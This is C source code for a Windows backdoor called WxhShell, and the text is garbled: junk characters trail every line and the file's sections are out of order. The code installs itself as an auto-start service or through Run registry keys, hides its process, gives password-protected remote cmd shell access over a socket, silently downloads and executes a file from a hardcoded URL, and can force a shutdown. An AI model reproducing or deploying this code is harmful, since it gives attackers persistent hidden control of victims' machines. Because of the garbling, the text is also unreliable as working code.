    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8 ip^]  
    if(Boot(SHUTDOWN)) .zIgbv s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m &!XA  
    else { i?x$w{co  
    closesocket(wsh); T6X}Ws"  
    ExitThread(0); Cx,-_  
    } <S&]$?`{Wi  
    break; 5e8xKL  
    } p(?g-  
  // 获取shell )'t&q/Wn  
  case 's': { 5D L,U(Y  
    CmdShell(wsh); 8gAu7\p}  
    closesocket(wsh); ) P%4:P  
    ExitThread(0); XfDX:b1p  
    break; M9DgO4xl  
  } ?M~  k$  
  // 退出 h;nQxmJ9  
  case 'x': { ^N{k6>;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,\x$q'  
    CloseIt(wsh); tpZ->)1  
    break; Wj tft%  
    } 4kh8W~i;/  
  // 离开 _@K YF)  
  case 'q': { 7f* RM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r>O|L%xpv  
    closesocket(wsh); 3daC;;XO  
    WSACleanup(); :X Lp  
    exit(1); 2lo:a{}j  
    break; %I0}4$  
        } &Sa~/!M  
  } 7D9]R#-K  
  } ]Zk}ZG>6  
QAUykS8  
  // 提示信息 o}  {-j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =ajLa/m'  
} "&<~UiI  
  } &(7$&Q  
V:>`*tlh  
  return; 59Nd}wPO;  
} \447]<u  
8)?_{  
// shell模块句柄 #N9d$[R*  
int CmdShell(SOCKET sock) d- kZt@DL=  
{ OpUA{P  
STARTUPINFO si; lQ$+JX;n(y  
ZeroMemory(&si,sizeof(si)); 1$(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $+jy/:]D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |6*Va%LYO-  
PROCESS_INFORMATION ProcessInfo; {=iyK/Uf  
char cmdline[]="cmd"; O2lIlCL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ju.OW`GM  
  return 0; p6Gcts?,  
} ayeCi8  
Qsji0ikG  
// 自身启动模式 37jQ'O U  
int StartFromService(void) LihdZ )  
{ N iISJWk6'  
typedef struct `;/XK,m-  
{ uY]T:UVk  
  DWORD ExitStatus; R"{l[9j4>  
  DWORD PebBaseAddress; `I#`:hj  
  DWORD AffinityMask; lRH0)5`  
  DWORD BasePriority; Bq{ ]Eh0%  
  ULONG UniqueProcessId; [4\aYB9N  
  ULONG InheritedFromUniqueProcessId; |*fNH(8&H  
}   PROCESS_BASIC_INFORMATION; ,Z5Fea  
cd&B?\I  
PROCNTQSIP NtQueryInformationProcess;  Fs)  
qRl/Sl#F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LuL$v+`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q)k{W>O  
OfJd/D  
  HANDLE             hProcess; jzMg'z/@J  
  PROCESS_BASIC_INFORMATION pbi; `)2[ST  
3a^)u-9,x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mw"}8y  
  if(NULL == hInst ) return 0; +4HlRGH  
5us^B8Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dQK`sLChv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O{u[+g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !t% Q{`p  
qK,V$l(4#  
  if (!NtQueryInformationProcess) return 0; 1!1DuQ  
wHWma)}-z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,2_w=<hq  
  if(!hProcess) return 0; F9O`HFVK  
4|=vxJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;AJ< LC  
`@MPkC y1  
  CloseHandle(hProcess); 8,y{q9O  
6%UY1Q.?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s-%J 5_d f  
if(hProcess==NULL) return 0; wonYm27f  
0$QIfT)  
HMODULE hMod; Uuz?8/w}#  
char procName[255]; ? oc+ 1e  
unsigned long cbNeeded; - f 4>MG  
!xymoiArp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pALJl[Cb  
3a9u"8lG  
  CloseHandle(hProcess); + ~~ Z0.[  
%p*`h43;  
if(strstr(procName,"services")) return 1; // 以服务启动 iJ4 <f->t  
%Co b(C&}  
  return 0; // 注册表启动 kfRJ\"`   
} sjb-Me?  
VfRs[ 3Q  
// 主模块 3A d*,>!  
int StartWxhshell(LPSTR lpCmdLine) P#v^"}.Wd  
{ "f<#.}8  
  SOCKET wsl; =1IEpxh%  
BOOL val=TRUE; ?yf_Dt  
  int port=0; =E1tgrW  
  struct sockaddr_in door; {KsVK4\r  
T\fudmj&  
  if(wscfg.ws_autoins) Install(); Az9J\V~"  
8F)=n \  
port=atoi(lpCmdLine); NA\x<  
L&QtHSzy  
if(port<=0) port=wscfg.ws_port; Q K j1yG0i  
$bFgsy*N2  
  WSADATA data; { Hr>X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U&X.  
) G|"jFP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {zu/tCq?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,O2q+'&  
  door.sin_family = AF_INET; $YPQC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #r(a~  
  door.sin_port = htons(port); c8q G\\t[  
F'XlJ M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "h$D7 mL  
closesocket(wsl); xY+A]Up|w  
return 1; /3s@6Ex}E  
} %; qY  '+  
@BXaA0F4  
  if(listen(wsl,2) == INVALID_SOCKET) { Kn. iyR  
closesocket(wsl); {o {#]fbO%  
return 1; |veBq0U  
} TG?fUD V  
  Wxhshell(wsl); C`pan /t  
  WSACleanup(); =O,e97  
gkLr]zv  
return 0; E}t-N  
OoSa95#x  
} *5^ze+:  
`u$24h'!  
// 以NT服务方式启动 CM"s9E8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eiOi3q  
{ v >NTh  
DWORD   status = 0; pRmEryR(U  
  DWORD   specificError = 0xfffffff; sY_fq.Z  
WFXx70n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ${e -ffyy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ijg,'a~3E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w2' 3S#nZ  
  serviceStatus.dwWin32ExitCode     = 0; |NXFla  
  serviceStatus.dwServiceSpecificExitCode = 0; ypxC1E  
  serviceStatus.dwCheckPoint       = 0; S;BP`g<l=  
  serviceStatus.dwWaitHint       = 0; IG>>j}  
^T=5zqRD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )|Jr|8  
  if (hServiceStatusHandle==0) return; ,I=O"z>9  
6B /Jp  
status = GetLastError(); 6mX:=Q  
  if (status!=NO_ERROR) 8XgVY9]Qm  
{ [&fWF~D-p<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =g1D;  
    serviceStatus.dwCheckPoint       = 0; 1/!nV  
    serviceStatus.dwWaitHint       = 0; Qve`k<Cj"  
    serviceStatus.dwWin32ExitCode     = status; K:C+/O  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7~:>WMv9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kgps_tY%  
    return; Gtf1}UJC  
  } 2 e )  
- f+CyhR"*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k#BU7Exij  
  serviceStatus.dwCheckPoint       = 0; (]o FB$  
  serviceStatus.dwWaitHint       = 0; 3$;J0{&[i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N c9<X  
} Ogn,1nm%  
l8eT{!4  
// 处理NT服务事件,比如:启动、停止 3huzz<n3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *'s&/vEy  
{ +W!'B r  
switch(fdwControl) Id; mn}+~  
{ 65 NWX8f}  
case SERVICE_CONTROL_STOP: J*/$ywI  
  serviceStatus.dwWin32ExitCode = 0;  ;I[ .  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zjzqKdy}F  
  serviceStatus.dwCheckPoint   = 0; @:I \\S@bN  
  serviceStatus.dwWaitHint     = 0; V>DXV-%&C  
  { 9 <y/Wv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uzy ;#q  
  } *vEU}SxRuv  
  return; xtG)^x!  
case SERVICE_CONTROL_PAUSE: \z<ws&z3`$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }Z<D^Z~w  
  break; AN50P!FZW  
case SERVICE_CONTROL_CONTINUE:  zgZi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iLc)"L-i  
  break; YN$ndqOP  
case SERVICE_CONTROL_INTERROGATE: N.ItyV  
  break; i+kFL$N  
}; "0p +SZ~D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V7qCbd^>XJ  
} 1v+JCOy  
t"jIfU>'a/  
// 标准应用程序主函数 EY=\C$3J:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bL6L-S  
{ R V_MWv  
d{vc wZQ  
// 获取操作系统版本 nI((ki}v  
OsIsNt=GetOsVer(); $yP'k&b!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +y tT)S  
3uB=L 7.  
  // 从命令行安装 h'z+8X_t  
  if(strpbrk(lpCmdLine,"iI")) Install(); OLhWkN,qA  
v)X[gt tf  
  // 下载执行文件 k 2 mkOb  
if(wscfg.ws_downexe) { '` BjRg57]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E,"b*l.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1mvu3}ewx  
} w-{#6/<kI5  
E` :ZH  
if(!OsIsNt) { !8H!Fj`|j  
// 如果时win9x,隐藏进程并且设置为注册表启动 5x93+DkO\  
HideProc(); eUGm ns  
StartWxhshell(lpCmdLine); r? 6Z1  
} HY@kw>I  
else 8,Q. t7v  
  if(StartFromService()) b7F3]W<`&  
  // 以服务方式启动 z/Mhu{ttL  
  StartServiceCtrlDispatcher(DispatchTable); 8=!r nJCav  
else 3(Hj7d7'}  
  // 普通方式启动 P"[ifs p  
  StartWxhshell(lpCmdLine); )j)y5_m  
,4h! "c  
return 0; #L).BM  
} js%4;  
}kgjLaQ^N  
%Hh &u .  
< |]i  
=========================================== Rz])wBv e  
+qu@dU0\`|  
x _YV{  
`SSP53R(0  
O4'kS @  
?[*@T2Ck  
" -Lz1#Sk]A  
Z]1z*dv  
#include <stdio.h> A1=$kzw{UH  
#include <string.h> [xp~@5r'  
#include <windows.h> !$ J)  
#include <winsock2.h> wAj(v6  
#include <winsvc.h> ps{&WT3a  
#include <urlmon.h> ajcPt]f  
t6H2tP\AS  
#pragma comment (lib, "Ws2_32.lib") ^| a&%wxA  
#pragma comment (lib, "urlmon.lib") lL(}dbT~N  
lhW#IiX  
#define MAX_USER   100 // 最大客户端连接数 R+@sHsZ@  
#define BUF_SOCK   200 // sock buffer qAuUe=w%p  
#define KEY_BUFF   255 // 输入 buffer s\3Z?zm8  
%yS`C"ZQ)  
#define REBOOT     0   // 重启 [h2p8i 'o  
#define SHUTDOWN   1   // 关机 " N`V*0h  
uV*f  
#define DEF_PORT   5000 // 监听端口 >k&lGF<nl  
eW }jS/g`  
#define REG_LEN     16   // 注册表键长度 *6\`A!C  
#define SVC_LEN     80   // NT服务名长度 rwV u?W  
Hi4@!]  
// 从dll定义API 5G42vTDzS4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v=yI#5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QBBJ1U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [K|>s(Sf*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Br.$L  
(fLbg,  
// wxhshell配置信息 >> 8KL`l  
struct WSCFG { .ON$vn7  
  int ws_port;         // 监听端口 ;MdK3c  
  char ws_passstr[REG_LEN]; // 口令 q}7Df!<|  
  int ws_autoins;       // 安装标记, 1=yes 0=no e4NX\tCpw  
  char ws_regname[REG_LEN]; // 注册表键名 a_#eGe>  
  char ws_svcname[REG_LEN]; // 服务名 w!GU~0~3[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [b)K@Ha  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5jCEy*%P@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RE*S7[ge  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bQ:3G;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OB? 79l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UdM5R [  
H&>>]DD  
}; ;wYwiSVd  
L-X _b3E\  
// default Wxhshell configuration #D*J5k>2  
struct WSCFG wscfg={DEF_PORT, *7D$;?"  
    "xuhuanlingzhe", uvK%d\d  
    1, ]P ?#lO6  
    "Wxhshell", ;r@R (Squ  
    "Wxhshell", bU g2Bm!y  
            "WxhShell Service", +Muia5G  
    "Wrsky Windows CmdShell Service", %;\2QI`R  
    "Please Input Your Password: ", dQ2i{A"BKz  
  1, Sr#fyr  
  "http://www.wrsky.com/wxhshell.exe", iJp!ROI  
  "Wxhshell.exe" Ul~}@^m]4}  
    }; Ivgwm6M  
V44sNi  
// 消息定义模块 J W yoh|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] !*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zv7$epDUz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TYLl_nGr  
char *msg_ws_ext="\n\rExit."; 4>ce,*B1  
char *msg_ws_end="\n\rQuit."; b<8J;u<  
char *msg_ws_boot="\n\rReboot..."; KX`nHu;  
char *msg_ws_poff="\n\rShutdown..."; 7!QXh;u  
char *msg_ws_down="\n\rSave to "; ~>-;(YU"t  
0R!}}*Ee>q  
char *msg_ws_err="\n\rErr!"; gu%'M:Xe  
char *msg_ws_ok="\n\rOK!"; AZ Lt'9UD  
V/[,1W[B  
char ExeFile[MAX_PATH]; B[m{2XzGH  
int nUser = 0; f`";Q/rG  
HANDLE handles[MAX_USER]; ,9j:h)ks?  
int OsIsNt; =rtA{g$)+  
/ )u,Oa  
SERVICE_STATUS       serviceStatus; 0dX=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -"^WDs  
OQb9ijLeK  
// 函数声明 O=?X%m #  
int Install(void); y.]]V"'2  
int Uninstall(void); (( IBaEq  
int DownloadFile(char *sURL, SOCKET wsh); RlPByG5K  
int Boot(int flag); c o%_~xO  
void HideProc(void); L" ^366M!  
int GetOsVer(void); 0 Ln5e.&  
int Wxhshell(SOCKET wsl); oP`M\KXau  
void TalkWithClient(void *cs); o%JIJ7M  
int CmdShell(SOCKET sock); (w:ACJ[[  
int StartFromService(void); F>-@LOqHy  
int StartWxhshell(LPSTR lpCmdLine); s\1_-D5]Z  
.nY6[2am  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g4qdm{BL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xwp?2,<  
WatLAn+  
// 数据结构和表定义  YaZ "&i  
SERVICE_TABLE_ENTRY DispatchTable[] = &-)Y[#\J  
{ r0uXMr=Z96  
{wscfg.ws_svcname, NTServiceMain}, wdDHRW0Y  
{NULL, NULL} . t%Vx  
}; ^{+:w:g  
~ai' M#  
// 自我安装 HaN _}UMP  
int Install(void) I\6<)2j/L  
{ DT]p14@t9  
  char svExeFile[MAX_PATH]; :mHtK)z~  
  HKEY key; pP oC61F  
  strcpy(svExeFile,ExeFile); ]M"'qC3g  
Lj1 @yokB  
// 如果是win9x系统,修改注册表设为自启动 '9Odw@tp  
if(!OsIsNt) { Nn7@+g)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /g7?,/vnZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b1^Yxe#L  
  RegCloseKey(key); ^ nZ2p$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~TR|Pv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {hP&P  
  RegCloseKey(key); U jzz`!mz  
  return 0; ? Z fhz   
    } q;~>h  
  } +( (31l  
} Yf`.Cq_:  
else { s3!LR2qiF  
;<R_j%*  
// 如果是NT以上系统,安装为系统服务 ~"0X,APR5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _%%"Y}  
if (schSCManager!=0) (>`SS#(T!  
{ >^HTghgRD  
  SC_HANDLE schService = CreateService w:+#,,rwzV  
  ( Bzt`9lg  
  schSCManager, E }j8p_p  
  wscfg.ws_svcname, r:rJv  
  wscfg.ws_svcdisp, fzG1<Gem  
  SERVICE_ALL_ACCESS, ]H7Mx\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /\I%)B47^9  
  SERVICE_AUTO_START, l#.,wOO{  
  SERVICE_ERROR_NORMAL, ;!sGfrs 0$  
  svExeFile, r@UY$z  
  NULL,  M.^A`   
  NULL, `bF;Ew;  
  NULL, 2![W N*N>O  
  NULL, &bK$!8Z  
  NULL rM.<Gi05Qe  
  ); cHct|Z u  
  if (schService!=0) *lF%8k"Al  
  { 3(p6ak2lv  
  CloseServiceHandle(schService); Q8:ocEhR  
  CloseServiceHandle(schSCManager); o_m.MMEU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g$LwXfg  
  strcat(svExeFile,wscfg.ws_svcname); ^i1:PlW]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dph6aN(49  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k(+u"T  
  RegCloseKey(key); )B4c;O4t  
  return 0; =nZd"t'p|  
    } CxQ,yd;>  
  } Khd,|pM  
  CloseServiceHandle(schSCManager);  Bz~h-  
} s\R?@  
} FWN%JCOj@  
<ft9B05*  
return 1; [&V%rhi  
} xhS/X3<th  
ENjD~S  
// 自我卸载 uelTsn  
int Uninstall(void) +N_%|!F-c  
{ R?SHXJ%'  
  HKEY key; cLP @0`^H  
%n,bPa>T  
if(!OsIsNt) { 1 R9/AP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 to<at-NN  
  RegDeleteValue(key,wscfg.ws_regname); ibw;BU  
  RegCloseKey(key); Jz'+@q6h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K 5[ 3WHQ  
  RegDeleteValue(key,wscfg.ws_regname); bOKNWI   
  RegCloseKey(key); giJyMd}x  
  return 0; RVx<2,['  
  } k<qH<<r*  
} KVy5/A/8c  
} 6<nO2GW  
else { X\RTHlw']  
!YHu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZW%`G@d"H-  
if (schSCManager!=0) 1X.1t^HH:  
{ J)NpG9iN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HArYL} l  
  if (schService!=0) eO G%6C%a  
  { )>p6h]]a  
  if(DeleteService(schService)!=0) { >FNt*tX<0  
  CloseServiceHandle(schService); }iAi`_\0;  
  CloseServiceHandle(schSCManager); ~T9[\nU\  
  return 0; #9Z-Hd<  
  } &nP rozC  
  CloseServiceHandle(schService); >YhqL62!a  
  } .#|pje^  
  CloseServiceHandle(schSCManager); wv-8\)oA  
} UkV] F]  
} `<d>C}9  
w[-Bsf  
return 1; ;Vt u8f  
} D IN PAyY  
XU7bWafy  
// 从指定url下载文件 V.1sZYA9  
int DownloadFile(char *sURL, SOCKET wsh) =T]OYk  
{ p<e~x/@m*  
  HRESULT hr; A[bxxQSP\H  
char seps[]= "/"; %-CC_R|0$  
char *token; dz 2d`=`3  
char *file; A>puk2s  
char myURL[MAX_PATH]; ,V?,I9qf  
char myFILE[MAX_PATH]; jU$PO\UTk  
Xv:IbM> Qc  
strcpy(myURL,sURL); wBET.l'd  
  token=strtok(myURL,seps); i|mA/ e3b  
  while(token!=NULL) nj$K4_  
  { k_B^2=  
    file=token; H"l'E9k.&p  
  token=strtok(NULL,seps); a{W-+t   
  } qT4s* kqr  
rge/jE,^~Z  
GetCurrentDirectory(MAX_PATH,myFILE); %*nZ,r  
strcat(myFILE, "\\"); y]_DW6W  
strcat(myFILE, file); p'*UM%@SIY  
  send(wsh,myFILE,strlen(myFILE),0); 9iE66N>z  
send(wsh,"...",3,0); :83" t-O8[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7F4]EA ^  
  if(hr==S_OK) E.9F~&DPJ<  
return 0; 8^lXM-G-  
else X c^~|%+  
return 1;  Eqc$*=  
4Q5v8k=  
} G w[&P%  
U9w*x/S wb  
// 系统电源模块 |sh  U  
int Boot(int flag) 3[rB:cE/  
{ [6|vx},N  
  HANDLE hToken; "K<VZ  
  TOKEN_PRIVILEGES tkp; hj4Rr(T  
vkK+ C~"  
  if(OsIsNt) { \bfHGo=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5hAg*zJb5o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ./d (@@  
    tkp.PrivilegeCount = 1; ?x @khzk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !MC W t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]O."M"B  
if(flag==REBOOT) { @w0[5ZAj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( EX  
  return 0; w3@ te\  
} x-<dJ}`  
else { qJ@?[|2R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v6:DA#0  
  return 0; u#\3T>o%@  
} $$@Tgkg?o  
  } DYS(ZY)4  
  else { &ly[mBP~  
if(flag==REBOOT) { Tx5L   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O 2U/zF:X  
  return 0; HD ~9EK~  
} pK4)>q  
else { _OY;SJ(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5IMH G%W7  
  return 0; E !8y|_(j  
} NmQ]qv  
} 4jpF^&y7u^  
:.cX3dP@  
return 1; T*IudxW  
} i ,'~Ds  
yrjm0BM#  
// win9x进程隐藏模块 IQDWH/ c  
void HideProc(void) |Xag:hof  
{ UTPl7po5D  
i]nE86.;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^?2txLv,6  
  if ( hKernel != NULL ) [3.rG!Na  
  { HIF] c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fp7Qb $-A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [>-k(D5D  
    FreeLibrary(hKernel); HZT;7<  
  } $spf=t"nh  
=T$E lXwJ  
return; g@Zc'g/XB  
} (GQy"IuFh  
K  +~  
// 获取操作系统版本 ;VuIQ*@m"  
int GetOsVer(void) <R2  
{ Y'-Lt5SCS  
  OSVERSIONINFO winfo; Q%7EC>V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4M _83WL  
  GetVersionEx(&winfo); $3L7R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3X:F9x>y  
  return 1; 7,1idY%cy  
  else JI^w1I, T  
  return 0; W{0:8_EI  
} 3 yElN.=  
>b?,zWiw  
// 客户端句柄模块 ^{s)`j'I*  
int Wxhshell(SOCKET wsl) *M"wH_cd  
{ =vFI4)$-  
  SOCKET wsh; <n>< A+D  
  struct sockaddr_in client; M(|gfsD  
  DWORD myID; AKpux,@xB  
s+[=nau('w  
  while(nUser<MAX_USER) {t 7 M  
{ h+Dok#g  
  int nSize=sizeof(client); cZu:dwE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <fw[7=_)^  
  if(wsh==INVALID_SOCKET) return 1; ql#K72s  
"\9@gfsp)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mK4a5H  
if(handles[nUser]==0) |0&S>%=  
  closesocket(wsh); J.-#:OZ  
else e9 NHbq  
  nUser++; Cpj_mMtu  
  } .C #}g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \||PW58j  
%S^`/Snv"  
  return 0; z+ 4R[+[  
} $*PyzLS  
=y':VIVJC  
// 关闭 socket 9$_}E`  
void CloseIt(SOCKET wsh) eE&F1|8  
{ {?C7BClB  
closesocket(wsh); {e~d^^N5  
nUser--; `<K#bDU;a  
ExitThread(0); ;02lmpBj  
} l- X|3,  
Kz%wMyZ:g  
// 客户端请求句柄 #zXDh3%]a  
void TalkWithClient(void *cs) 1t)6wk N  
{ {<GsM  
65AOFH  
  SOCKET wsh=(SOCKET)cs; gs!{'=4wT  
  char pwd[SVC_LEN]; [J^,_iN[.  
  char cmd[KEY_BUFF]; v}!,4,]:&  
char chr[1]; cq0jM;@d  
int i,j; ]8mBFr5E9  
&8;mcM//4  
  while (nUser < MAX_USER) { ENGw <  
&~k/G  
if(wscfg.ws_passstr) { V=YK3){>A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tSg#2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `S!`=26Z!  
  //ZeroMemory(pwd,KEY_BUFF); +Kk6|+5u  
      i=0; }{lOsZA  
  while(i<SVC_LEN) { B8 2A:t)  
FSM~Rl  
  // 设置超时 toQn]MT  
  fd_set FdRead; o6qQ zk  
  struct timeval TimeOut; =Xp 3UNXg  
  FD_ZERO(&FdRead); #[A/zH|xvV  
  FD_SET(wsh,&FdRead); 9A6ly9DIS  
  TimeOut.tv_sec=8; 83 S],L  
  TimeOut.tv_usec=0; iw#luHcJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I*#~@:4*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sOHh&e  
pZH bj2~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)'{+1  
  pwd=chr[0]; vOqYt42  
  if(chr[0]==0xd || chr[0]==0xa) { ^iGIF~J9  
  pwd=0; GxvVh71zP  
  break; @}FRiPo6  
  } S`J_}>  
  i++; BFMM6-Ve  
    }  V C.r  
E J 9A 4B  
  // 如果是非法用户,关闭 socket MM97$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v!x=fjr<  
} o$Jk2 7  
/O8'8sL5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %TLAn[LW(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uU<Yf5  
{!-w|&bF  
while(1) { D.HAp+lx  
>6aCBS?2  
  ZeroMemory(cmd,KEY_BUFF); 9/nL3U@i1  
P[Qr[74 )  
      // 自动支持客户端 telnet标准   t$}+oCnkv  
  j=0; m, *f6g  
  while(j<KEY_BUFF) { 0[PP -]JS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :cOwTW?Fj  
  cmd[j]=chr[0]; H(0d(c1s  
  if(chr[0]==0xa || chr[0]==0xd) { Vbwbc5m}  
  cmd[j]=0; ^@6eN]  
  break; s6qe5[  
  } }#Vo XilX  
  j++; k_!z=6?[:  
    } ln3.TR*  
M]6=Rxq1:E  
  // 下载文件 r"0nUf*og:  
  if(strstr(cmd,"http://")) { r*WdD/r|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x[)S3U J  
  if(DownloadFile(cmd,wsh)) =P5SFMPN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|'8O  
  else 2[W Qq)\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[ylyQ1  
  } (+4=A k  
